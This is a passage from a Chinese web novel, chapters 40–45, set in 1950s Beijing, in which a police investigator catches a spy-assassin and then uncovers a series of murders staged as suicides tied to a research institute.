齐云松皱着眉头迅速分析着，想着顾昭蕙还在那边，抬腿就跑了出去。 “哎，齐同志，怎么了？” 顾昭蕙没有回头，感受身后人的位置，“那个痕迹是血迹吧。”只刷了一遍石灰 40. 第 40 章 《五五迷雾寻踪》全本免费阅读 第四十章 蝰蛇的落网是轰动全局的大事，人还没押解回去，那边就传遍了，虽然蒋永兴的案子因为保密关系一直没有人谈论，但是大家暗地里都有许多猜测，关于蝰蛇是生是死是最关键问题，因为大家都知道蒋永兴来局里时间短，唯一相关的案子就是蝰蛇案。 现在真正蝰蛇落网，事情似乎已经清晰明了了。 顾昭蕙没有跟着一起去局里，而是去了医院，田静兰听到信跑过来，看着顾昭蕙还没包扎好的伤口，哭的稀里哗啦的，那声音甚至超过知道儿子去世时的哭声，那时候悲伤中还带着一丝仇恨，希望能找到杀害儿子的凶手，现在则是解脱的哭似乎将失去儿子后的所有悲伤全都哭了出来。 急诊的护士长在旁边等了半天，看她情绪好了些拉开她“你先别哭了，我先给孩子把伤口缝合一下，挺长一口子呢。” 田静兰听了赶紧放开顾昭蕙然后低头看她的伤口，那位置，靠近第十一肋骨，下方划开一条口子，有七八厘米长，也挺深，不过没有捅露，不算太严重，不过看位置她又哭了。 顾昭蕙被她哭的有点不知道该怎么安慰，最后只能空空的说了一句“没事，不疼。” 那边护士长亲自上手，给她缝合，弄得挺细致，这时候也没有美容线，以后肯定要留疤，她小心翼翼希望疤痕小一点。 顾昭蕙自己倒是没在意，那边田静兰拉着顾昭蕙的手，眼睛已经哭肿了，不过现在情绪好了，又心疼起来了，“你咋这么冒失，发现有问题就等人来，你不是跟齐云松一起去的吗？”这信就是齐云松告诉他的，他把人送过来就赶紧走了，蝰蛇那边审问他得盯着。 顾昭蕙摇了摇头，“这人藏的深，如果不引出来，他不会承认自己身份。”实际上事情难就难在确认身份，三处经过调查发现，与蝰蛇认识知道他的人都死了，他本身没有什么特征，因为蒋永兴事件他们知道蝰蛇左手用刀，杀人喜欢扎人脾动脉，看着人失血过多而死，顾昭蕙也找到了当初几个无头公案，最后确定都是一个人所为，通过那几个案子抓到了另外几个特务，在通过这个特务确定了杀人者就是蝰蛇。 就这些信息三处用了很长时间才确认，但是确认也只是将几庄杀人案与蝰蛇挂钩，但是蝰蛇是谁就是个谜了，就像之前顾昭蕙之前怀疑赵庆远是蝰蛇，已经确定是错的了。 如果他们抓住蝰蛇，只要这人不使用同样杀人手法，不用同样的凶器，他们也是找不到破绽，定罪很麻烦。对于他这样一个老特务，或许问询也得不到什么结果，所以齐云松将三处调查得来的信息告诉她的时候，她就想这么做了。 “你知不知道这样做很危险。”处理好伤口顾昭蕙就回到家了，她没去看蝰蛇，不知道怎么的抓到人后，她似乎身上卸了一股劲，说不出来的感觉，什么都不想做，反正蝰蛇那边问询不许要她，作为当事人，她也需要回避。 晚上齐云松过来，直接去了她的屋子看着她呆呆的坐在桌子边上，忍不住质问。 顾昭蕙看着他脸上是平和的表情，“这样才能确定他的身份。” “那你有没有想过，如果他不是蝰蛇，是别人，行动的时候用其他的办法呢。他甚至只用两只手就能把你的脖子拧断。”齐云松说的时候眼睛还看着顾昭蕙的脖颈，似乎衡量着自己用多大的力气能扭断这小脖子。 顾昭蕙忍不住笑了一下“我已经确定就是他了。”当时屋子里的摆设，墙壁的血迹，还有西屋门的位置，她都确定了对方就是蝰蛇，那间屋子就是杀人现场。 齐云松皱着眉头也不知道说她太自信，还是该信任她的判断，“总之以后不要做这样的事情了。” 顾昭蕙点点头“审问的怎么样了？”她问。 齐云松去桌子边倒了一杯水，坐下来，顾昭蕙看他支着大长腿坐在凳墩上有点不舒服，就站起身，将藤椅往那边挪了挪“你坐这。” 去五斗橱那边拿了个盒子，里边是一盒子桃酥，田静兰给她买的，说年轻人晚上不经饿，填肚子的。 齐云松也不客气，一口下去半块桃酥，喝点水，在嘴里化开，那味道极好，“肯定是干妈买的，她就能找到那家老字号。这么多年味道都没变过。” 顾昭蕙给自己倒了杯水坐下。 “可能是被你动作给惊到了，他倒是招了，承认自己就是蝰蛇，尤其是永兴的案子，他承认是他杀的人，也是他抛尸的，不过关于他说都是自己一人做的，与其他人无关。”事实上，当看到顾昭蕙从怀里掏出一块钢板的时候，他都有点傻，这么多天他都没看出来顾昭蕙还带这么个东西在身上。那玩意硬的，一不小心就搁着了，再说拿东西放着人也不舒服啊，可是从她表现上一点也没看出来。 所以当时蝰蛇一看顾昭蕙的动作就知道这人就是冲着他来的，还以为对方掌握了自己多少东西，所以撩的挺快的，可惜这人是个老狐狸，很多事情还是说的不实。 “能看的出来，我想当时存在的第三人就是赵庆远。”她已经初步看了墙上血迹走向，蒋永兴是背对着西边屋门，应该是正跟人说话，甚至可能正点烟呢，就被后边人给偷袭了，他对面前的人十分信任。 “他对自己的行为还有后来抛尸的动作都是供认不韪的。跟咱们推测也十分吻合，所以杀人抛尸可以确定就是他。” 顾昭蕙点点头，永兴的案子算是破了一半了，而另一半就是确定那个第三人是谁，是不是他引诱永兴去的那里，如果是那么对方才是杀害永兴的主谋，蝰蛇只不过是一把刀而已。 “那个原本看房的周老头呢？”顾昭蕙问。 “被蝰蛇杀了，这老头也是受了无妄之灾，他来投奔儿子，结果儿子自己都住在老丈人家里，他 41. 第 41 章 《五五迷雾寻踪》全本免费阅读 第四十一章 顾昭蕙在走廊里站了一会，想着刚才的谈话，思绪有点烦乱 齐云松看到她跟处长出去，过一会处长回来，顾昭蕙站在那里，不知道想些什么。 “处长找你谈话了？”齐云松问道。 顾昭蕙点点头，今日天空有点阴沉，却不像是要下雨，倒是个送别的好日子。 “欢迎成为同事。”齐云松笑着说。 顾昭蕙看着他摇了摇头说道“我拒绝了。” 齐云松愣住了，“为什么。”市局的三处是个特别的部门，他们虽然挂在市局，但实际上是独立管理的，“三处的案子都是大案子。并且不全都是跟间谍特务有关。”他以为顾昭蕙不想接触这类案子。 顾昭蕙笑了一下，样子倒是平日看不到的，平常最多微笑，嘴角翘起一个弧度，今天的笑容却是更加灿烂，以至于她左侧脸颊有个隐隐的酒窝，看起来十分甜美。 齐云松咳了一声看了外面一下，又转过头若无其事的看着她解释。 “我并不是不想去三处，只是我觉着现在的工作也很重要，我进入市局没有几个月，虽然破了一些案子，但是经验还是不够，对京城了解也不深，所以想要在沉淀一下。”这话是真话。 自从两个灵魂融合，她的大脑就发生了异变，她也获得一些能力，或许因为顾湘接触的信息更多，见识更广，灵魂相融后，顾湘的思想似乎对她影响她更深，也因为如此她对刑侦这方面很感兴趣，她觉着自己既然有这个能力就做些力所能及的事情，之所以留在市局，一方面是她觉着自己信息收集不够，她需要更多的时间积累，另一方面就是如今在市局，她因为破案的关系自由度很高，尤其是她自己带一个组，很有自主权。 这一点也很重要，她的很多破案方法都与这年代不同，她想要自主权，想要按照她自己的节奏来破案。如果去了三处，不管樊处对她多器重，最终还是要从底层做起，不是不愿意，而是觉着浪费时间。 齐云松是个很聪明的人，听见她这样说，心念一转就明白她的一些想法，忍不住笑了一下，这姑娘还真是挺有主见的，“希望以后我们还有可能成为同事，我想樊处肯定不会放弃的，他看上的人才还没有落空过。” 顾昭蕙仰起头看着他“怎么你要调回去了吗？” “我的工作关系一直在那边挂着，等蝰蛇这边全都弄好了，我也该回去了，应该没几天了。” 顾昭蕙还有点可惜，齐云松作为搭档难得的和她合拍，能跟上她的思路。 蒋永兴的案子结案了，虽然还有疑点，需要慢慢查，但是凶手落网也算是一种欣慰。 蒋家父母心情好了许多，人渐渐地也开朗起来，这个年代的人见过太多的生离死别，蒋家父母当年都是从枪林弹雨中闯出来的，身边的战友朋友一个个牺牲，每次都是擦干眼泪，再次踏上征程。 顾昭蕙发现，蒋爸蒋妈将她当成闺女一样，对她更加亲近了，之前他们像是生活在一个屋檐下的有点陌生的人，现在不同了，似乎那层隔阂没有了，老两口将她当成自己的孩子了。 原本顾昭蕙有些打算，想要在蒋永兴案子破了之后，就离开蒋家，可是发现蒋家父母对她的态度后，她倒是不好离开了，蒋永兴有一个哥哥一个姐姐，不过现在两个都不在身边，如果她也离开了，就剩下老两口了。 九月初顾铜来了一趟送来许多嫩玉米，说是老爷子从乡下弄来的，他这段时间也看出来了，姑娘在人家挺好的，现在孩子都不在身边，他也说让顾昭蕙留下，虽然两口子还年轻不用她照顾，但是陪伴也是一种照顾。 因此顾昭蕙依旧留在蒋家，甚至已经将那个西耳房当做自己的家了。 一晃就到了十一，京城的国庆十分热闹，顾昭蕙放假跟着佳蕙去了一趟天安门，还看到了领袖，虽然只是远远地看着，不知道为什么心里砰砰跳动的非常快，或许就是那种突然见到历史伟人的激动吧。 放假过后上班，顾昭蕙发现市局里还有一些国庆装饰，人们都是喜气洋洋的。顾昭蕙也心情愉快的走进办公室，看到屋子里那个人她愣了一下，“你怎么在这？” 齐云松正支着一双大长腿拿着拖把拖地，只是那个拖把对他来说有点短看起来有点不协调。 “早啊，组长。”齐云松呲着大白牙伸出手摆了摆打了个招呼“我又调过来了。” 顾昭蕙将身上的斜挎包放到自己座位上，“怎么调回来了？” 齐云松笑了笑“我们处长说让我过来跟你多学点东西，他又后悔了。当初说尊重你的意见，结果这段时间就想直接下调令，不过他还算是个守信的，所以就派我过来学习一下。”实际上是因为顾昭蕙九月份的时候又抓了两个特务，虽然不是什么大特务，但也是很惊喜的，就连他们三处也不能说一个月抓俩，而且废的时间和精力也多。所以处长干脆安排他过来，一个是能时刻关注着这边的情况，万一抓的人跟他们那边有关系，也好沟通，还有就是看看她的破案方法，有没有学习的地方。 全组人员都挺欢迎齐云松归来的，实在是他们这边缺少人员，这段时间一个案子接着一个案子，虽然都是小案子，但是小案子破的有点多，废人呐。 “中午请你吃饭。”顾昭蕙下班的时候说道。 “怎么欢迎新同事回归？”齐云松笑嘻嘻的说，这次回来他似乎更放松了。 “谢谢你帮着佳蕙。”顾昭蕙说道。 顾嘉蕙跟赵迅书信来往两个人渐渐有了那么点意思，蒋永兴的案子结束后，齐云松就找借口约她们姐俩出去，因为一起出去的还有几个同事，男女都有，大家一起去郊外钓鱼游玩，年轻人在一起总会说一些诗歌文学，然后还聊一些感情方面的，然后就听这帮年轻人说一些恋爱中的陷阱等等。几次之后，虽然佳蕙和赵迅没有分开，却也不那么热切了。 “怎么说呢，这也不算是帮她，你妹妹其实挺聪明的，很爱思考，并不是你想象中那么容易陷入感情漩涡。再说本来这个事情就是我们不对，因为赵家父子俩背后牵扯 42. 第 42 章 《五五迷雾寻踪》全本免费阅读 第四十二章 “四点四十分的时候，小区里的人突然听见一声木仓响，等保卫科过去，就看到技术科的张技术员死了，看样子像是自杀。因为这个案子涉及木仓械，保卫科就将案子报到保卫科。我们过来后觉着现场似乎有点不对，所以就给你打了电话。”东城分局的刘一舟给顾昭蕙他们介绍着。 说话间已经来到了现场，现场在东城朝阳门内大街四十三号大院，是科研所的家属院。 案发现场在七号楼，从东门进入紧贴着院墙的第四排楼房。 此时大院里都知道这边发生了事情，所以有许多的人都在外面围观，好刘一舟他们组的人做的很好已经将现场保护起来了。群中暂时是不能进入这个范围。 这次过来他们三组除了内勤白容其他组员全都到场，一行人到了现场就分开了，做自己该做的事情，经过一段时间历练，大家都有了自己的职责，顾昭蕙齐云松周柏三人一起去了案发现场。 案发地在二楼，这个楼房一共四层，算是这年代比较高的楼房了，楼房很新，应该是新盖的，楼梯间还能闻到一股白灰的气味。 来到二楼顾昭蕙带上手套鞋套，身边几个人也一样带上，如今这已经是他们必备装备了。手套好说本来就有配备，鞋套开始还是他们自己做的，后来局里看到了，就给统一做了。 刘一舟看了有些不好意思，“这现场恐怕也看不出来什么了。”之前保卫科过来，就来了好多人，然后就是他们东城分局的，进出至少十几个人如果不是保卫科科长还有点脑瓜，估计尸体都会被她们给碰了。 顾昭蕙点点头没说什么，这年代人没有太多的保护现场意识，别说这年代，就是顾湘那个时候，报案人和群众破坏现场的情况也不是没有他们也只是按照程序做，这也是她一直强调的，他们组员要做到的一些事情。 进了现场，刘一舟已经清场，原本勘查现场的组员已经离开了。 顾昭蕙没有先去看现场，她先是扫了一下现场环境，屋子里家具不多，屋子是那种没有客厅的屋子，一进门是个三平方不到的小厅，右手边是一个不大的厨房，厨房那边有个门，外面连着一个阳台。这年代没有包阳台的业务，所以都是敞开的。 小厅左边是两间屋子，右手边还有个卫生间。死者就死在小厅正对门的一张小床上。此时正坐在那里，手里拿着一把木仓，太阳穴位置有个弹孔，另外一边被轰出一个大窟窿，墙上全都是喷溅的血迹脑浆看起来十分血型。 顾昭蕙看了好一会才对齐云松指了一下阳台，然后走向尸体，地面已经没有什么好检查的，应该找不到合适的脚印，他家里本来是那种水泥地，不容易留下脚印，又被那么多人踩过，脚印已经不足以作为依据。 这位张技术员，双眼闭着，看不出任何情绪甚至有些安宁。头歪着血液垂落下来，床上一滩血迹。 顾昭蕙仔细观察弹孔痕迹，之后检查他的手，小心的将他手臂端起，小心的凑近，然后观察他的手臂。因为刘一舟他们组员已经将现场照片拍好了，所以她才会有这些动作。 她正准备看像另外一边的时候门口突然有个气喘吁吁的跑进来，“做到哪了？我没来晚吧。”来人是段洪，他现在属于现勘，不过因为是市局人员，东城有自己的勘查人员所以不用他过来，但是这段时间段洪一有时间就跟着顾昭蕙总觉着能学到很多东西，顾昭蕙为了将来办案方便有些东西也会教给他。另外还有一个卢莫，他偏向法医学，听说二组那边有个新案子，卢莫应该正在做尸检，不然他也会跟过来的。 “不算晚。”顾昭蕙随口说了一句。 “我听到信，就赶紧过来了。”段洪穿了鞋套带了手套，就来到顾昭蕙身边，看到现场说道“像是自杀现场？怀疑他杀？依据是什么？”段洪直接问。 “枪的保险关上了。”回话的是刘一舟，他也在旁边按着，如果不是他拦着估计他们组员也想进来看看的。 他们进来探查的时候发现枪的保险是关着的。 顾昭蕙点点头，她也看到了，“这里有焦痕，伤口周围有火药灼伤，但是没有擦拭轮，所以这不是接触木仓创，看痕迹更像是近距离木仓创。”她一边说着一边指着伤口周围的情况让段洪细看。 段洪一边看一边拿出相机近距离照相，顾昭蕙看他处理好，就指着死者的手，“先不说手木仓的保险关了，这人手指是虚勾，就算死的时候因为脱力放松，也不会像这样子。”顾昭蕙指着那根手指虽然插在扳机里，但是是虚的，不是用力后的放松样子。“除此之外他的衣服上并没有弹药喷射的火药味。所以这个案子应该是一庄伪装的自杀案。” “果然不是自杀。”刘一舟说道。 “不但是伪装自杀，而且凶手还很厉害，应该不是个普通人。”顾昭蕙看到死者之后做出这样的结论。 死者坐在床上，这个位置想要伪装自杀也挺不容易的，死者靠在墙上，看他的位置和血迹，死者在死亡的时候位置没有变动，小床宽九十厘米，就是那种军用木床，所以凶手是在床的这头几乎贴着墙壁拿着木仓将人打死的，这样的姿势太别扭。 “检查一下死者体内是否含有安眠药一类的药物。” “我这边有点发现。”齐云松从厨房那边走出来，顾昭蕙走了过去，厨房这边显然没有太多的痕迹。齐云松指了指“这边的门把手太干净了。被人擦拭过了。”他说完将阳台门打开，阳台因为是敞开的，有一些灰尘，但是顾昭蕙发现地面竟然是经过清扫的，齐云松在阳台另一边垫了两块砖头，以防破坏阳台痕迹。 顾昭蕙踩着砖头过去，看着齐云松给她指出来的地方，就在阳台下方楼房突出来的一处有半个脚印，看脚印痕迹应该是进入痕迹。 “取一下脚印，去下边看看——”说道这顾昭蕙看到下边围观的人群，顾昭蕙回过头小声的说“给下边群中照几张相。” “你说他还会回来。”齐云松瞥了一眼小声说道。 “他们总是想回来看看自己的杰作，或是来看看我们能找到什么线索，就算是最厉害的杀手，也会怀疑自己会不会留下什么破 43. 第 43 章 《五五迷雾寻踪》全本免费阅读 第四十三章 查案子总是要一点点的收集线索，然后从中找出破案关键。三组的组员已经有了自己的破案方式，所以第二天一早大家到了单位，进行简单的分工后就开始下去，寻找各种信息。 顾昭蕙跟着齐云松再次来到犯罪现场，两个人再次进行犯罪现场重建，也就是模拟凶手行凶的过程，进入屋子后，两个人将现场再次检查一遍。 “凶手是从楼外爬进来的。”齐云松再次确定。 “那个时间，从外面爬进来是不是有点危险。那边冲着街道，二楼虽然不高，但是外面的人是能看到的。”顾昭蕙提出问题关键。 齐云松摇了摇头，“这样咱们实验一下。”说完带着顾昭蕙来到楼外面，此时正是上班的时候，大院里人不多，有其这一边，围墙边上还有两棵杨树，树荫重重，遮挡了许多视线。 顾昭蕙围着楼房走了一下，看着那处进出的地方，然后仔细观察周围的楼房，因为树木遮挡，外面倒是不会特别注意。 齐云松站在楼外边，仔细看着墙上的地方，然后双手抓着一楼侧面的一块砖就窜了上去，然后在一边借力，踩着那个脚印就上了二楼的阳台。 顾昭蕙觉着就像是眼前一晃，人就上去了。她脑海中计算了一下，齐云松的整个动作下来，也就七八秒钟。 齐云松上了二楼之后看了一下，对面的楼对着这边的是南面房间，厨房在另外一边，所以只要注意点不会有人发现。 他观察一下，就从阳台上翻了下去，双手只是借力在阳台边缘抓了一下，人就跳了下来。 这人身高腿长的这会倒是跟个猴似的，怪灵活的，“凶手就算是没有你那么灵活，十几秒钟也够用了。这个时间完全可以避开人。”顾昭蕙说着。 齐云松说着，“刚才借力的两个点，我并不会觉着太别扭，所以凶手身高可能不会太矮。”说着他指着落脚点和下一步抓握点，“身高低于一米七八抓着就有些勉强了。” 顾昭蕙眉头紧皱着，“发现的鞋印虽然只有小半截，但是已经可以确定大小，只有三十九码。” “大脚穿小鞋，不用如此吧？”齐云松说道。 “还有一种可能天生的手小脚小，这属于特殊情况，并不是没有。” 往楼上走，“早上报告出来了，已经确定死者体内有安眠药成分，昨天初步问询知道，死者下午的时候说身体不舒服然后请假回家，那么他回家是为了什么？真的身体不舒服还是有事情？”顾昭蕙突然停下来，她突然觉得有点不对劲“他邻居说看见屋门开着然后推门进入看到人死了，那么大门为什么开着？” 齐云松也是想到了这一点“既然伪装成自杀为什么会开着门？” “枪响的时间？昨天咱们到了的时候离听到枪声的时间差不多一个小时，我记得屋子里火药的味道不是很浓重，血迹也干了。”顾昭蕙回忆脑海中现场情况“不对劲，死者死亡时间不是四点四十，应该再往前推一些。”现在判断死亡时间误差有些大，这个案子当时是按照枪响时间来算的。 齐云松被她的推论给弄的愣住了，但是脑海中也闪过当时的现场，血迹似乎有点干了。 他们两人又回到了屋子里，顾昭蕙转悠了好几圈，脑海中闪过许多信息，“是两个人。”她突然说道。 “什么两个人？”齐云松觉着有点懵，不过一会就反应过来，“你是说杀人的和那个从楼下上来的是两个人？” 顾昭蕙点点头，然后仔细看过入门的小厅，除去正对着大门的那张单人床，旁边还有个八仙桌靠着南墙，是平日吃饭的地方。 顾昭蕙看到桌子上放着托盘，里面是两个杯子。其中一个杯子被带到局里被检测，昨天看着里边有茶水，确定里边是否有药物。她看了看来到厨房，厨房也是很干净的，也许是刚搬过来，看起来很整洁，厨房还有个水池，顾昭蕙打开橱柜看了看，并没有发现什么，她绕着屋子里找了一圈，没有找到东西。 “在找什么？”齐云松问。 顾昭蕙指着桌子上的茶杯，还有托盘里一点印子，“你看这应该是四个杯子，在百货公司卖的，一般人家卖两个四个六个成对的去买，这盘子里的印子，也能看出来是四个杯子，现在少了一个，不知道是不是以前打坏了，还是被凶手拿走了。” 齐云松点点头，“如果杯子里查到有安眠药成分，确定杯子是被凶手拿走的，那么可以确定的凶手跟死者认识。” 顾昭蕙点点头“走咱们去保卫科问问情况。还有从阳台那边上来的，可能是个惯偷，保卫科的人可能知道些情况。”现场有不合理的地方，假设有个小偷从阳台进入，突然看到死人了，他是什么反应？当然是跑啊，顾昭蕙不觉着这个小偷能若无其事的继续偷窃。 两个人来到保卫科，这里的保卫科也属于科研所下边，不过因为大院不像科研所那么管理严密，这边保卫科只有六个人，负责大院安全，日常巡逻。 两个人先找了昨天的带队副组长，是个四十多岁的大叔，姓程，“昨天我们是四点多钟的时候听到了枪声。差不多四点半左右吧。我也不太清楚，还是后来人说是四点四十左右。” “你一听见声音就确定了是枪声吗？”顾昭蕙问。 “不是，当时就是啪的一声，有点像鞭炮，不过当时不知道谁喊了一声，是枪声。” “你记得是谁？” 程副组长摇了摇头“不太清楚，当时正赶上院里两个妇女在我们保卫科这边吵架，我正在调节，结果就听人喊了一嗓子，然后我就叫上保卫科的人去看声音传来的地方了。” “你们能确定声音方向吗？直接就去那个地方了？”齐云松问道。 “是小赵，说声 44. 第 44 章 《五五迷雾寻踪》全本免费阅读 第四十四章 第二名死者，顾昭蕙和齐云松看到尸体，两个人都没有动，以两个人的经验，可以看出来，人已经死了，时间还不会太短。 “去叫人吧。这个案子麻烦了。”顾昭蕙叹了口气说道。 一个涉及研究所技术人员的案子，竟然又涉及到杀人灭口，案子肯定是不简单的。 这边离市局不远，很快段洪和卢莫都过来了，顾昭蕙跟着他们一起进入现场，现场看起来很简单，一个上吊自杀的现场。只是这个现场未免太过正常了。 没急着将人放下来，顾昭蕙站在凳子上仔细看着房梁，房梁是裸露的，上面还能看到瓦片，屋子看起来有些破旧，只是这房梁上的绳子磨损很厉害，看着绳子缠绕的痕迹，将痕迹用照相机照下来，之后就是凳子的位置，看着是蹬下来的，位置看起来也挺正常的，但是凳子上没有鞋印。 将人放下来，死者脖颈上的痕迹很明显，符合吊死的痕迹，死者双手有血痕，脖颈也有被抓的痕迹，死者曾经挣扎过。 屋子里没有找到什么可疑的东西，这个小赵应该不是凶手，但是他跟案子肯定有些关系。 “房梁上的痕迹，是直接将死者吊死的，所以他的死亡方式与上吊自杀的人相同，可是房梁的磨痕太过了，如果先将绳索打结，然后上吊，绳索磨损痕迹会很平均，但是现在的痕迹在一侧磨痕明显，凶手先将绳套套在死者脖颈上，然后使劲一拉，死者进行挣扎，死去，然后再将绳子系好。” 回市局的途中，顾昭蕙跟齐云松解释道。 “我刚才闻到死者身上有些酒味，是不是喝醉了。”齐云松说道，那味道十分明显。 顾昭蕙点点头，“有可能。凶手与小赵认识，现在就要查查这个小赵的问题，这人是不是跟昨天的凶杀案有关系，还是被人陷害的。” “如果被人陷害的，那个副组长是不是有问题。”齐云松说道。 “不一定，还要进行排查，之前因为着急没有找其他人问问情况，这个副组长昨天处理案子，现在保卫科有办案权利，如果他有问题，他完全可以将案子拿在自己手里，只要耽搁两天，这个案子就可以以自杀结案了。” 齐云松觉着说的有些道理，“就算不是他，恐怕也是内部人员做的。” 到了市局，李想也正好进大院，他身边还跟了一位三十岁左右的女人，看起来很知性，此时眼圈红红的，似乎哭过。 “顾组长，这是张常阳的前妻，周萍萍，之前一直在手术室，现在过来问问情况。” 顾昭蕙点点头“你好周医生，麻烦你过来，正好我们有些事情想了解一下。” 周萍萍眼圈红红的似乎有眼泪，不过她还是很理智的“我也是早上接到的消息，我能见见他吗？” 顾昭蕙点点头，“可以。” 几个人进了局里，周萍萍先跟李想和白容去了解剖室外的停尸房见了人，这个解剖室和停尸房还是上个月建立的，现在也就市局有能力建立，别的局里不是借了医院停尸房，就是在殡仪馆。 组里其他人有的回来有的接着调查，顾昭蕙看了一下调查记录，大概了解一下调查进度。 过了大概半个多小时，周萍萍跟白容回来了，显然哭过了。 顾昭蕙带她来到办公室旁边的一个小单间，那里弄了几张沙发，就是组里的接待室，给周萍萍倒了一杯热水。 “先喝点水。”顾昭蕙看着她，发现周萍萍看起来很干净利落，衣服穿的一丝不苟，身上穿着一身双排扣上衣，衣服是纯棉的，没有一点褶皱，应该是熨烫过的，皮鞋也擦的很亮，头发是长发，不过被梳的整齐，顾昭蕙突然发现，她的头发竟然没有毛刺，全都服帖的梳起来。 顾昭蕙等了一会看她似乎平静下来了，“周医生有关张常阳的事情，我们想咨询一下你。” 周萍萍点点头“嗯你们问吧。我也是听说他—你们的人过去找我，我下了手术台就过来了。” 顾昭蕙点点头“周医生，就我们掌握的情况，你和张常阳感情很好，那你们为什么离婚呢？”直奔主题，看着周萍萍的变化。 周萍萍似乎并不意外她这么问“离婚，是常阳的意思，大约三个月前张常阳调换工作了，过了一段时间，我发现他脾气突然暴躁起来，他是个温和的人，就是那种知识分子，性格温和，我们结婚那么长时间，她从来没有跟我发过火，就是心情不好也不会在家里闹，但是两个月前他开始在家里发脾气，甚至有一次还打了孩子，那次问我们还吵了起来。 又过了半个月，他突然说，要跟我离婚，我问他为什么，他也不说，他就说必须离婚，我坚持一段事前，可是他说什么都要离婚，之后他跟我说他惹了大麻烦了，他怕我和孩子有危险，说是我们离婚，让我先回娘家，等事情解决了，我们再复婚。”周萍萍说到这忍不住落泪。 “你知道他说的麻烦是什么吗？”顾昭蕙问。 周萍萍摇了摇头，“不清楚，我问过她，他没跟我说，我觉着就跟他的工作有关系。” “那你还发现有什么异常吗？” 周萍萍想了想，“我们离婚那天，他很奇怪，似乎是解脱了，他说如果有一天他不在了，让我去我们约会的那个公园寻找我们在一起的记忆。” 说道这里周萍萍眉头皱了皱，“他说的公园，应该是人民公园，那边的松树特别多，我喜欢闻松油的味道，所以经常去那边遛弯，只是那里并没有什么特别的地方。” 因为这个线索顾昭蕙几人带着周萍萍去了人民公园，周萍萍一边走一边回忆，“我们每次就在这片松树林里溜达。从这边入口进去，然后从那边出去。” 几个人跟着周萍萍一起走了他们平常遛弯的路线，“你看看这里跟平常有什么不一样的地方？” 顾昭蕙也开始用自己的眼睛去看这段路， 45. 第 45 章 《五五迷雾寻踪》全本免费阅读 第四十五章 三组人手再次放了出去，这次调查的就更多了，张常阳的工作内容是保密的，就是他们想要知道具体内容也是不容易的，但可以确定的是这是一个保密级别很高的项目。可是经过负责人解释，发现这个项目只是初级阶段，还没有出现成果所以并没有敌人需要的东西。 如果说张常阳将科研成果偷出来，然后被灭口还有可能，现在这种可能不在了，张常阳的死因再次成谜。 越来越多的信息被组员调查出来，张常阳的一切行为越来越透明。 “去年六月份，研究所被泄密，当时张常阳是有机会接触资料的，他虽然是最底层的技术员，但是一些整理工作都是他做的，接触的也比较多，但是那次特意找人进行了调查，排除了他的嫌疑。”周柏拿着调查报告说道。 齐云松将自己从三处那里拿来的报告说道“之后十月份的时候三处那边截获了一份情报，跟研究所也有关系，时间过去久了，是怎么泄露出去的无从查找。研究所这次的任务其实也有诱饵的作用。”他身上还挂着三处的职务所以有些事情更容易查出来。 “那他们发现张常阳有问题吗？”顾昭蕙问。 齐云松摇了摇头，“试探过，他有机会接触，但是什么都没有做。” 顾昭蕙觉着事情更蹊跷了，她将事情从脑海中过了一遍，张常阳被自杀，然后小赵被自杀，凶手看起来是个专业的杀手，所以这个人是个潜伏者的敌人，突然她想到了档案室的老档案。 一些信息出现，几个案件卷宗突然出现，自杀自杀。 顾昭蕙突然站起身，“我去一趟档案室。” 她说完就离开了座位。 档案室还是王云在工作，不过这次档案室里增加了新人，两个年轻的同事。 “昭蕙过来了。有事么？”上班时间肯定是有事过来。 “嗯，王姐我过来查几个档案。” 王云也不跟她客气“你自己找。这边你比我熟。” 顾昭蕙直接进去，查找四九年前的档案，这边档案都是她整理的，甚至她都抄录了一遍，作为备份所以什么档案在什么地方她都知道。 直接抽出自己需要的档案，果然连位置都没有变。 “王姐这几份档案有我们需要的记录，我想带回去。”顾昭蕙说完，自己就在登记本上进行登记，签字。 王云清点一下，然后看了记录，用自己印章盖了印。 顾昭蕙将几份档案拿回去，一进屋大家都围了过来，“这是什么案子跟咱们这案子有关系吗？”周柏问道。 “嗯，大家一起看看，都是自杀案。”她说着将档案分下去，一共五份。 “最早一份是四六年，青大数学系教授在家中上吊自杀，他的学生认为教授是被人逼迫，游行抗议，但是最后不了了之，档案上表明了死亡原因就是窒息而死，因为他学生认为教授死亡有异，所以进行了尸检。尸检没有发现问题，但是其中有一句，教授口中有酒味。自杀前曾经饮酒。”顾昭蕙说道。 李想拿着这份资料，他将其中尸检报告还有照片钉在前面黑板上。 “第二位跟青大也有些关系，四六年十一月份，青大某教授妻子掉入院子的井中，有说是自杀，有说是意外，因为其大哥对妹妹死因怀疑，所以当时的警察厅进入，调查后以意外结案。”吴非将手上的照片和报告贴上去。 “第三位死者是京城艾玛医院妇产科主任，四七年三月跳河自杀，家属觉着死者并没有轻生的意思，怀疑有人加害，警察厅进行调查虽然没有发现死者的轻生原因，但是因为当时跳河的时候周围没有人也没有发现其它人存在的痕迹，最终还是以自杀结案。”这次是周柏，将档案重要的地方挑出来。 “第四位是当时教育局的一位官员，他也是上吊自杀，与那位教授一样身上都带有酒味。不过这个案子最后不了了之了，没有深入调查。这是四七年四月。”齐云松将照片贴上。 “第五位，艾玛医院的一位清洁工，在职工宿舍割腕自杀。因为当时被路过的病患发现，造成轰动，警察厅介入以自杀结尾。当时是四八年十二月份。” 白容将最后一份档案弄好。 顾昭蕙将这次的两个死者张常阳和小赵两个人的关键信息写在黑板上，上面还贴着他们两人的现场照片。 她用粉笔将青大教授，还有那位教育局官员，还有小赵的死亡照片连在一起，艾玛医院的两个人画了两个圈，最后是那位死了老婆的人画了个问号。 “光靠这个不能说明就是一个人做的吧？”张燕山挠了挠头说道。 顾昭蕙点点头“是说明不了什么，前政府的警察厅根本不好好办事，只看那些档案就知道，很多案子都是草草了解，甚至还有很多悬案，没有解决，这些案子之所以留下档案卷宗，是因为这些人或是家属上告，或是舆论压力，最终他们都是按照自杀意外结案的。根本没有深查。” 她也只是感慨一下，但是接下来说的就是重点了“实际上跟自杀有关系的案子很多，我只挑出这五个，原因是我觉着这五个案子与张常阳案或许有些联系。” 她说着就指着艾玛医院的妇产科医生还有那个清洁工，“这个艾玛医院其实就是人民医院的原身，据说最早是教会医院，四九年后在原医院的基础上成为人民医院。” “周萍萍就在人民医院妇产科。”齐云松想到关键点。 顾昭蕙点头“这不能说明什么，也许只是一个巧合，需要咱们再好好查一查。” “除此之外青大教授和哪位教育局的官员，他们俩人的死王状态与小赵十分相似，如果他们不是自杀，看作案手法，应该是同一人所为，所以调查一下这两位的死因或许能有一些收获。” 